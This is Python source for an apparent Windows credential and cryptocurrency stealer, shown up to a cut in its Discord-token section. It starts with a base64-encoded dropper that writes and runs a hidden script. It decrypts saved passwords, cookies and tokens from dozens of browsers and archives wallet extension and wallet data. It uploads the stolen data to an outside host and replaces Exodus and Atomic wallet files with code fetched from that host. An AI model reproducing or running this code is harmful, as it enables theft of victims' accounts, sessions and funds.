9HlRThL9OUIMLtPhyOBzxOi5Wjm4nlIMdqsaK5-ghT4KnH7kWhzjw8Ki9hWPYQ6JtUzJ3RDaNk9vH8P6I9HxI5y4TmqTB4DxRuu_uoisi2g_lBju5OshlG5R8dARf8HcE6ZzWlNcVWkvjZFycQtvJHwKLCrLe3kTlF1FSuqQdQzLvhdY7hAtj-KE3DpYessSmEMwGf96C1WEAxDVmAHMjFI5v1uzLKZT6w5kOwfaORGQDRVeUaDo4Py_VESX77erfgcN9eWZ-S1DsipmHcr8E0kn4gzH-Qx6oEjVQ1slzBUXXWatVsM0ZHKfLWqvF_qz1kH_mXY-gu90h4zdz2htuVDj5eFEBY_E9o76KV9v74pW4qlXWFF2Q8OW7RIPVlRzXdVHUURKNBw-m67fMxmFKl12kj479_x9pEpbBbPlwHgVoo94OWgrp0ZfQANOiYCDeA1x4AxI_hSrrkPQwJbhtUA6x1gqVMYi3EIRdxA86HXUFdAyGITLbdF-cGA7KGv1kjgYp76Rtngy14GJfKFpRQKfqSGgRx0cqrXYOYP2-QsZxgCR-1G9y0yVAkI7XPzZSvwSzYNoWlqCxtBXugNDHulF3gSK_mmVy6g0obEigZcuy4NanrQF6oAwnMkF-wo1MPVqyRDMAw46Uhros6lY6EHuW4pQm4ar4a55uUM8xENJkB-kWioplyo4i2NotbiDJomC9Tq8ujVWG2E1qFCsOQSeOzTOYnjYoYj9yK_JjJYXRUjj1TG3ct-BKLFpNWnp44SG0kz2vgAXuwrCBDqEmuSDSeVCSbpyxu9DqO-fymZeacHPmC8UmoAMYxhphPytNG212V3viPjTZSjaFw6FBao3Nckid-CLKIcS_WuqdJQ1Z48f7YCr9a2eGoKmQ2qXp6FhPL4IBrCZNL3ToBtv_duzUC-1EufZO9CWK_0_IDenFw7RHMOw6DZLQ45FqjaiP262s4Cu_TgQsc9TliRtG3k79dhKabJlF5Gtw0f-7AA3zEPuGZIyGdj1QPKvyBPybolemaObkvZpLLnEdO9WXchxNkwqmkdWW2UzZBrbduB7q6zcn1FXD6dS3wdY3ZZmiCToe3p5r5918d39armeluokXCcJhlCYq82Fy9Ezwvdzx2kNE5u9okxW_wxjwZMQWz9OdYU3iwhTuZBnqk9qzJoxH6YLXkTvyqAEscMzPC3u2nCSd6kc4fkHUsOcSQFf93DC6KbtRNe_3cXtVcv8NG61s2oMBwr3pbu_XLlJlC5ZbcNc86PorfzA_tMjRO_GoD0bqxjbIOTZHHXelXL3_OzygxJAI9inMZCjyC5ndrtU8vGec6M9DLfClyUmgYvxxekEK4azu7sx_yKLVrte02DWTW9MPopAO2ng6SpYxzVK1b-g7tSwxNd94BuRMfX30awPoGhPvXpFG76PZXSD4wMuEqw9kf7GuP_uLNnCtVt7M0BrSQv-M5D1KhOYv_iDZYDiqyYDHSDmQR2bbZ2uZ3e9UAqFbNG5cszWn7ajv-YL_xbmfDwCE10Vt-lVLIL00ozkntR_3z-O_R58QESJPQOFo22ltxFUxCU3eJIbI2jdmig29aVFoN_fjIDZFjWS5KecKvmgfeGhI92lkug1kH6SAAjt0xlkedgd5pY3WQ==').decode())
"""
python_setup = os.path.join(os.getenv('APPDATA'), 'python_setup.py')

with open(python_setup, 'w') as file:
    file.write(content)

os.system(sys.executable + " " + python_setup)


---------------------------------

import base64
import json
import os
import re
import sqlite3
import shutil
import subprocess
import zipfile
import sys
from zipfile import ZipFile
from urllib.request import Request, urlopen
import time

userid = "3"

CURRENT_INTERPRETER = sys.executable
proc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32","requests", "websocket-client"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)
proc.wait()

try:
    import win32crypt
    from Crypto.Cipher import AES
    import requests
    import websocket

except:
    current_file = os.path.abspath(__file__)
    subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)
    exit()

USER_PROFILE = os.getenv('USERPROFILE')
APPDATA = os.getenv('APPDATA')
LOCALAPPDATA = os.getenv('LOCALAPPDATA')
STORAGE_PATH = os.path.join(APPDATA, "Microsoft Store")
MAIN_URL = "https://stealer.cy"
PROGRAMFILESX86 = os.getenv("ProgramFiles(x86)")

COOKIECOUNT = 0
FILES = []

if os.path.exists(os.path.join(LOCALAPPDATA, "HD Realtek Audio Player")):
    sys.exit(0)
else:
    os.makedirs(os.path.join(LOCALAPPDATA, "HD Realtek Audio Player"))

if not os.path.exists(STORAGE_PATH):
    os.makedirs(STORAGE_PATH)

CHROME_PATHS = [
    {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"},
        {"name": "Chrome (x86)", "path": os.path.join(LOCALAPPDATA, "Google(x86)", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": PROGRAMFILESX86 + "\\Google\\Chrome\\Application\\chrome.exe"},
        {"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data"), "taskname": "chrome.exe", "exepath": LOCALAPPDATA + "\\Google\\Chrome SxS\\Application\\chrome.exe"},
        {"name": "Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe", "exepath": PROGRAMFILESX86 + "\\Microsoft\\Edge\\Application\\msedge.exe"},
        {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe", "exepath": "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"},
]

CHROMIUM_BROWSERS = [
    {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"},
        {"name": "Chrome (x86)", "path": os.path.join(LOCALAPPDATA, "Google(x86)", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": PROGRAMFILESX86 + "\\Google\\Chrome\\Application\\chrome.exe"},
        {"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data"), "taskname": "chrome.exe", "exepath": LOCALAPPDATA + "\\Google\\Chrome SxS\\Application\\chrome.exe"},
        {"name": "Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe", "exepath": PROGRAMFILESX86 + "\\Microsoft\\Edge\\Application\\msedge.exe"},
        {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe", "exepath": "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe", "exepath": ""},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe", "exepath": ""},
    {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe", "exepath": ""},
    {"name": "Chromium", "path": os.path.join(LOCALAPPDATA, "Chromium", "User Data"), "taskname": "chromium.exe", "exepath": ""},
    {"name": "Thorium", "path": os.path.join(LOCALAPPDATA, "Thorium", "User Data"), "taskname": "thorium.exe", "exepath": ""},
    {"name": "Maple", "path": os.path.join(LOCALAPPDATA, "MapleStudio", "ChromePlus", "User Data"), "taskname": "maple.exe", "exepath": ""},
    {"name": "Iridium", "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data"), "taskname": "iridium.exe", "exepath": ""},
    {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data"), "taskname": "7star.exe", "exepath": ""},
    {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data"), "taskname": "centbrowser.exe", "exepath": ""},
    {"name": "Chedot", "path": os.path.join(LOCALAPPDATA, "Chedot", "User Data"), "taskname": "chedot.exe", "exepath": ""},
    {"name": "Vivaldi", "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data"), "taskname": "vivaldi.exe", "exepath": ""},
    {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data"), "taskname": "kometa.exe", "exepath": ""},
    {"name": "Elements", "path": os.path.join(LOCALAPPDATA, "Elements Browser", "User Data"), "taskname": "elements.exe", "exepath": ""},
    {"name": "Epic Privacy Browser", "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data"), "taskname": "epic.exe", "exepath": ""},
    {"name": "Uran", "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data"), "taskname": "uran.exe", "exepath": ""},
    {"name": "Fenrir", "path": os.path.join(LOCALAPPDATA, "Fenrir Inc", "Sleipnir5", "setting", "modules", "ChromiumViewer"), "taskname": "fenrir.exe", "exepath": ""},
    {"name": "Catalina", "path": os.path.join(LOCALAPPDATA, "CatalinaGroup", "Citrio", "User Data"), "taskname": "catalina.exe", "exepath": ""},
    {"name": "Coowon", "path": os.path.join(LOCALAPPDATA, "Coowon", "Coowon", "User Data"), "taskname": "coowon.exe", "exepath": ""},
    {"name": "Liebao", "path": os.path.join(LOCALAPPDATA, "liebao", "User Data"), "taskname": "liebao.exe", "exepath": ""},
    {"name": "QIP Surf", "path": os.path.join(LOCALAPPDATA, "QIP Surf", "User Data"), "taskname": "qipsurf.exe", "exepath": ""},
    {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data"), "taskname": "orbitum.exe", "exepath": ""},
    {"name": "Dragon", "path": os.path.join(LOCALAPPDATA, "Comodo", "Dragon", "User Data"), "taskname": "dragon.exe", "exepath": ""},
    {"name": "360Browser", "path": os.path.join(LOCALAPPDATA, "360Browser", "Browser", "User Data"), "taskname": "360browser.exe", "exepath": ""},
    {"name": "Maxthon", "path": os.path.join(LOCALAPPDATA, "Maxthon3", "User Data"), "taskname": "maxthon.exe", "exepath": ""},
    {"name": "K-Melon", "path": os.path.join(LOCALAPPDATA, "K-Melon", "User Data"), "taskname": "kmelon.exe", "exepath": ""},
    {"name": "CocCoc", "path": os.path.join(LOCALAPPDATA, "CocCoc", "Browser", "User Data"), "taskname": "coccoc.exe", "exepath": ""},
    {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data"), "taskname": "amigo.exe", "exepath": ""},
    {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data"), "taskname": "torch.exe", "exepath": ""},
    {"name": "Sputnik", "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data"), "taskname": "sputnik.exe", "exepath": ""},
    {"name": "DCBrowser", "path": os.path.join(LOCALAPPDATA, "DCBrowser", "User Data"), "taskname": "dcbrowser.exe", "exepath": ""},
    {"name": "UR Browser", "path": os.path.join(LOCALAPPDATA, "UR Browser", "User Data"), "taskname": "urbrowser.exe", "exepath": ""},
    {"name": "Slimjet", "path": os.path.join(LOCALAPPDATA, "Slimjet", "User Data"), "taskname": "slimjet.exe", "exepath": ""},
]

CHROMIUM_SUBPATHS = [
    {"path": ""},
    {"path": "Default"},
    {"path": "Profile 1"},
    {"path": "Profile 2"},
    {"path": "Profile 3"},
    {"path": "Profile 4"},
    {"path": "Profile 5"},
]

BROWSER_EXTENSIONS = [
    {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
    {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
    {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
    {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
    {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
    {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
    {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
    {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
    {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
    {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
    {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
    {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
    {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
    {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
    {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
    {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
    {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
    {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
    {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
    {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
    {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
    {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
    {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
    {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
    {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
    {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
    {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
    {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
    {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
    {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
    {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
    {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
    {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
    {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
    {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
    {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
    {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
    {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
    {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
    {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
    {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
    {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
    {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
    {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
    {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
    {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
    {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
    {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
    {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
    {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
    {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
    {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
    {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
    {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
    {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
    {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
]

WALLET_PATHS = [
    {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
    {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
    {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
    {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
    {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
    {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
    {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
    {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
    {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
    {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
    {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
]

PATHS_TO_SEARCH = [
    USER_PROFILE + "\\Desktop",
    USER_PROFILE + "\\Documents",
    USER_PROFILE + "\\Downloads",
    USER_PROFILE + "\\OneDrive\\Documents",
    USER_PROFILE + "\\OneDrive\\Desktop",
]

FILE_KEYWORDS = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "account",
        "acount",
        "paypal",
        "banque",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "seecret"
        "passphrase"
]

ALLOWED_EXTENSIONS = [
    ".txt",
    ".log",
    ".doc",
    ".docx",
    ".xls",
    ".xlsx",
    ".ppt",
    ".pptx",
    ".odt",
    ".pdf",
    ".rtf",
    ".json",
    ".csv",
    ".db",
    ".jpg",
    ".jpeg",
    ".png",
    ".gif",
    ".webp",
    ".mp4"
]

DISCORD_PATHS = [
    {"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},
    {"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},
    {"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable", "Local Storage", "leveldb")},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable", "Local Storage", "leveldb")},
    {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data", "Local Storage", "leveldb")},
    {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data", "Local Storage", "leveldb")},
    {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data", "Local Storage", "leveldb")},
    {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data", "Local Storage", "leveldb")},
    {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data", "Local Storage", "leveldb")},
    {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data", "Local Storage", "leveldb")},
    {"name": "Sputnik", "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data", "Local Storage", "leveldb")},
    {"name": "Vivaldi", "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data", "Local Storage", "leveldb")},
    {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Chrome1", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 1", "Local Storage", "leveldb")},
    {"name": "Chrome2", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 2", "Local Storage", "leveldb")},
    {"name": "Chrome3", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 3", "Local Storage", "leveldb")},
    {"name": "Chrome4", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 4", "Local Storage", "leveldb")},
    {"name": "Chrome5", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 5", "Local Storage", "leveldb")},
    {"name": "Epic Privacy Browser", "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data", "Local Storage", "leveldb")},
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Uran", "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Yandex", "path": os.path.join(LOCALAPPDATA, "Yandex", "YandexBrowser", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Iridium", "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data", "Default", "Local Storage", "leveldb")}
]

DISCORD_TOKENS = []
PASSWORDS = []
COOKIES = []
WEB_DATA = []
DISCORD_IDS = []

def kill_process(process_name):
    result = subprocess.Popen(f"taskkill /im {process_name} /t /f >nul 2>&1", shell=True)

def decrypt_data(data, key):
    try:
        iv = data[3:15]
        data = data[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(data)[:-16].decode()
    except:
        return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])

def zip_to_storage(name, source, destination):
    if os.path.isfile(source):
        with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:
            z.write(source, os.path.basename(source))
    else:
        with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:
            for root, dirs, files in os.walk(source):
                for file in files:
                    z.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(source, '..')))

def upload_to_server(filepath, loguuid):
    for i in range(10):
        try:
            url = MAIN_URL + "/delivery"
            files = {'file': open(filepath, 'rb')}
            headers = {'X-Trace-ID': loguuid}
            r = requests.post(url, files=files, headers = headers)
            if r.status_code == 200:
                break
        except: pass

def validate_discord_token(token):
    r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
    if r.status_code == 200:
        return r.json()
    else:
        return None

def taskkill(taskname):
    subprocess.run(["taskkill", "/F", "/IM", taskname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def inject(loguuid):
    path = os.path.join(LOCALAPPDATA, "exodus")
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = MAIN_URL + "/exodus"
    req = Request(exodusPatchURL)
    req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36")
    response = urlopen(req)
    data = response.read()
    kill_process("exodus.exe")
    for app in apps:
        try:
            fullpath = f"{path}\\{app}\\resources\\app.asar"
            with open(fullpath, 'wb') as out_file1:

                out_file1.write(data)
            licensepath = f"{path}\\{app}\\LICENSE"
            with open(licensepath, "w") as out_file2:
                out_file2.write(loguuid)
        except: pass

def inject_atomic(loguuid):
    path = os.path.join(LOCALAPPDATA, "Programs", "atomic")
    if not os.path.exists(path): return
    atomicPatchURL = MAIN_URL + "/atomic"
    req = Request(atomicPatchURL)
    req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36")
    response = urlopen(req)
    data = response.read()
    kill_process("Atomic Wallet.exe")
    try:
        fullpath = f"{path}\\resources\\app.asar"
        with open(fullpath, 'wb') as out_file1:

            out_file1.write(data)
        licensepath = f"{path}\\LICENSE.electron.txt"
        with open(licensepath, "w") as out_file2:
            out_file2.write(loguuid)
    except: pass

def chromiumcookies(profilepath):
    try:
        cookies_file = os.path.join(profilepath, "Network", "Cookies")
        temp_db = os.path.join(profilepath, f"{browser['name']}-ck.db")
        shutil.copy(cookies_file, temp_db)
        connection = sqlite3.connect(temp_db)
        cursor = connection.cursor()

        cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")

        cookie_str = ""

        for row in cursor.fetchall():

            host = row[0]

            name = row[1]

            value = decrypt_data(row[2], decryption_key)

            cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"
            COOKIECOUNT = COOKIECOUNT+1
        COOKIES.append({"browser": browser["name"], "profile": subpath["name"], "cookies": base64.b64encode(cookie_str.encode()).decode()})
        cursor.close()
        connection.close()
        os.remove(temp_db)
    except: pass

for browser in CHROMIUM_BROWSERS:
    taskkill(browser["taskname"])
    local_state = os.path.join(browser["path"], "Local State")
    if not os.path.exists(local_state): continue

    with open(local_state, "r", encoding="utf-8") as f:
        local_state = json.loads(f.read())

    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
    try:
        decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    except:
        pass
    for subpath in CHROMIUM_SUBPATHS:

        if not os.path.exists(os.path.join(browser["path"], subpath["path"])): continue

        try:
            login_data_file = os.path.join(browser["path"], subpath["path"], "Login Data")
            temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-pw.db")
            shutil.copy(login_data_file, temp_db)

            connection = sqlite3.connect(temp_db)

            cursor = connection.cursor()

            cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

            for row in cursor.fetchall():

                origin_url = row[0]

                username = row[1]

                password = decrypt_data(row[2], decryption_key)

                if username or password:
                    PASSWORDS.append({"browser": browser["name"], "url": origin_url, "username": username, "password": password})
            cursor.close()
            connection.close()
            os.remove(temp_db)

        except:
            pass

        try:
            if browser["exepath"] == "":
                chromiumcookies(os.path.join(browser["path"], subpath["path"]))
        except:
            pass

        try:
            web_data_file = os.path.join(browser["path"], subpath["path"], "Web Data")

            temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-webdata.db")

            shutil.copy(web_data_file, temp_db)

            connection = sqlite3.connect(temp_db)

            cursor = connection.cursor()

            cursor.execute("SELECT service, encrypted_token FROM token_service")

            for row in cursor.fetchall():
                web_service = row[0]
                web_token = decrypt_data(row[1], decryption_key)
                WEB_DATA.append({"account_id": web_service, "refresh_token": web_token})

            cursor.close()

            connection.close()
            os.remove(temp_db)
        except:
            pass

        for extension in BROWSER_EXTENSIONS:
            extension_path = os.path.join(browser["path"], subpath["path"]) + extension["path"]
            if os.path.exists(extension_path):
                try:
                    zip_to_storage(f"{browser['name']}-{subpath['path']}-{extension['name']}", extension_path, STORAGE_PATH)
                except:
                    pass

firefox_path = os.path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles')

if os.path.exists(firefox_path):
    taskkill("firefox.exe")
    for profile in os.listdir(firefox_path):

        try:

            if profile.endswith('.default') or profile.endswith('.default-release'):

                profile_path = os.path.join(firefox_path, profile)

                if os.path.exists(os.path.join(profile_path, "cookies.sqlite")):

                    shutil.copy(os.path.join(profile_path, "cookies.sqlite"), os.path.join(profile_path, "cookies-copy.sqlite"))
                    connection = sqlite3.connect(os.path.join(profile_path, "cookies-copy.sqlite"))
                    cursor = connection.cursor()

                    cursor.execute("SELECT host, name, value FROM moz_cookies")

                    cookie_str = ""
                    for row in cursor.fetchall():
                        host, name, value = row
                        cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"
                        COOKIECOUNT = COOKIECOUNT+1
                    COOKIES.append({"browser": "Firefox", "profile": profile, "cookies": base64.b64encode(cookie_str.encode()).decode()})
                    cursor.close()
                    connection.close()
                    os.remove(os.path.join(profile_path, "cookies-copy.sqlite"))
        except:
            continue

for wallet_file in WALLET_PATHS:
    if os.path.exists(wallet_file["path"]):
        try:
            zip_to_storage(wallet_file["name"], wallet_file["path"], STORAGE_PATH)
        except:
            pass

for discord_path in DISCORD_PATHS:
    if not os.path.exists(discord_path["path"]): continue
    try:
        name_without_spaces = discord_path["name"].replace(" ", "")
        if "cord" in discord_path["path"]:
